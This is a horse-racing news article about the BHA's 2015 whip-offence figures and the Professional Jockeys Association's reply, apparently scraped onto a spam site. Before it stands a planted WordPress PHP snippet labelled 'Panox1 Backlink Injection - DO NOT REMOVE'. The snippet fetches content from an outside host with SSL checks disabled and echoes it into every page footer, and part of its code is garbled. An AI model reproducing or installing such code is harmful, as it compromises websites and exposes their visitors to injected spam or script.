// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 BHA hints at tougher action on whip offences in top races – Next Sports News

BHA hints at tougher action on whip offences in top races

[ad_1]

Cue Card

Paddy Brennan picked up a ban for his ride on Cue Card (right) at Kempton

  PICTURE: Getty Images  

 By Lee Mottershead 11:17AM 14 JAN 2016 

THE BHA has hinted at taking stronger action against jockeys who infringe the sport’s beefed up whip rules in racing’s biggest prizes with the riders’ trade association immediately warning the governing body against making any such move.

Both the BHA and Professional Jockeys Association on Thursday welcomed the release of data that confirmed a further decrease in the number of whip offences in 2015.

The official figures show a nine per cent reduction in offences in 2015 compared to 2014 with 0.61 per cent of rides incurring a penalty.

Set against 2010, the last full year before revised whip rules were introduced, that represents a total decrease of 48 per cent in the number of rule breaks, despite thresholds having, in effect, halved.

Less positively, from 2014 to 2015 there has been an increase in the number of winning Group/Grade 1 rides triggering a whip suspension from five to ten in the 72 such races staged last year.

‘Encouraging evidence’

Jamie Stier, BHA director of raceday operations and regulation, said: “The new data is encouraging and is evidence of an ongoing cultural change in the use of the whip by riders based in Britain, in line with the objectives of the Whip Review.

“Prior to the 2011 Whip Review the number of offences was rising at an unacceptable rate. However, under the new rules the number of offences has nearly halved.

“The use of the whip in British racing is not a welfare problem, but it is a welfare issue. It is essential that the sport is seen to put the welfare of the horse first at all times. The rules and controls that we now have in place, along with the padded, energy-absorbing design of the whip, ensure that this is the case.

“However, one area of concern that arises from the 2015 data is the increased frequency of offences in races at the top level.

“We have committed to a further analysis of this data and through the normal annual process will be consulting with the Professional Jockeys Association to ensure that the rules and penalty structure provide a sufficient deterrent, while remaining fair and proportionate.”

Credit to riders

In response, PJA chief executive Paul Struthers said: “The figures in general reflect enormous credit on our members, and are testament to how they have adjusted their riding styles to these rules.

“Of course we understand that the rise in suspensions incurred in Group and Grade 1 races is something that the BHA are keen to have a closer look at, but our view is that a one year increase is no justification in itself to increase an already harsh penalty regime.

“We have strong views on the subject and will engage constructively in the annual penalties review as we have already been doing in relation to other issues where discussions have already commenced, such as for careless riding offences.

“Finally, it is my view that those who advocate disqualification or some other form of draconian deterrent on the basis that it is a panacea and will cease breaches overnight are not thinking it through.

“There are many rules, both in racing and other sports, that result in disqualification but that doesn’t prevent those rules from being broken inadvertently. I have absolutely no doubt it would exacerbate the problem, not solve it.”

 

[ad_2]

Source link

Reply